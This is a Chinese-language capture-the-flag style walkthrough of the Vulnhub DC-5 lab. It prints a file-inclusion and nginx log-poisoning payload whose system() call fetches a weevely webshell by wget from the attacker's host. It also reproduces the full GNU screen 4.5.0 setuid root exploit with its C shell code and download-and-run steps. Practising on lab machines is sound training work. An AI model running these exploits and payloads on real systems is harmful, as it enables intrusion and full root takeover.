神奇cpp

这个屌丝很懒，什么也没留下！

热门标签

Vulhub-DC-5靶场实战攻略_vulnhub cd-5

作者：神奇cpp | 2024-08-16 08:19:50

踩

vulnhub cd-5

基于以上变化考虑burp抓个包进行分析

尝试思路1：通过爆破去发现这个网站有哪些文件可以浏览

字典部分添加 Filenames-short 和 Filenames-long

http://192.168.206.139/thankyou.php?file=../../../../../../../../../etc/passwd

Nginx日志位置：

/var/log/nginx/error.log

/var/log/nginx/access.log

通过url提交的内容会先被url编码那么我们考虑通过burp提交神器提交的东西是原汁原味的不会被url编码

那么我们可以考虑提交个一句话木马上去

接下来我们在攻击机中生成一个php木马由于是root用户默认生成在了/root目录下

weevely generate 123456 haha.php

接下来可以通过python开启一些http服务 （以下是python开启的命令） kali开启后目录默认在/home/kali

python -m SimpleHTTPServer

python3开启http服务的命令是 python -m http.server 端口号 parrot开启后目录默认在/root

python -m http.server 8000

chmod 777 haha.php


GET /thankyou.php?file=/var/log/nginx/access.log&a=system('cd /tmp;wget http://192.168.206.136:8000/haha.php;chmod +x haha.php'); HTTP/1.1
GET /thankyou.php?file=/var/log/nginx/access.log&a=system('cd /tmp;wget http://192.168.206.128:8000/haha.php;chmod +x haha.php'); HTTP/1.1

接下来开始用工具去执行该木马

weevely http://192.168.206.139/thankyou.php?file=/tmp/haha.php 123456

searchsploit screen 4.5.0

find / -name exploitdb

由于攻击机是parrot目录和kali不同

cp /opt/exploitdb/exploits/linux/local/41152.txt /home/user

cp /opt/exploitdb/exploits/linux/local/41154.sh /home/user

kali的目录是

cp /usr/share/exploitdb/exploits/linux/local/41152.txt /home/kali/41152.txt

cp /usr/share/exploitdb/exploits/linux/local/41154.sh /home/kali/41154.sh

这里由于情况特殊把攻击机器换回kali 192.168.206.128

41152内容：

Commit f86a374 ("screen.c: adding permissions check for the logfile name",

2015-11-04)

The check opens the logfile with full root privileges. This allows us to

truncate any file or create a root-owned file with any contents in any

directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version

> Screen version 4.05.00 (GNU) 10-Dec-16

> address@hidden:~$ id

> uid=125(buczek) gid=125(buczek)

groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)

> address@hidden:~$ cd /etc

> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail

> address@hidden:/etc (master)$ ls -l bla.bla

> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla

> address@hidden:/etc (master)$ cat bla.bla

> fail

> address@hidden:/etc (master)$

Donald Buczek <address@hidden>

EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184

41154内容：

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

#include <stdio.h>

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

执行方式

1.将第一段红字保存到相应目录下的libhax.c文件并且进行gcc编译

2.将第二段红色文字保存到相应目录下的rootshell.c文件然后gcc编译

3.最后把最后一段红色文字保存到相应目录下的xxx.sh文件放进去保存

4.最后

chmod 777 xxx.sh

进下来进入木马控制受害者的地方：将编译成功的文件都放到root目录下借助python服务器把文件传上去


mv /tmp/libhax.so /home/kali/libhax.so
mv /tmp/rootshell /home/kali/rootshell
mv /tmp/clickme.sh /home/kali/clickme.sh
cd /tmp
wget http://192.168.206.128:8000/libhax.so
wget http://192.168.206.128:8000/rootshell
wget http://192.168.206.128:8000/clickme.sh
cd /tmp
chmod +x libhax.so
chmod +x rootshell
chmod +x clickme.sh
./xxx.sh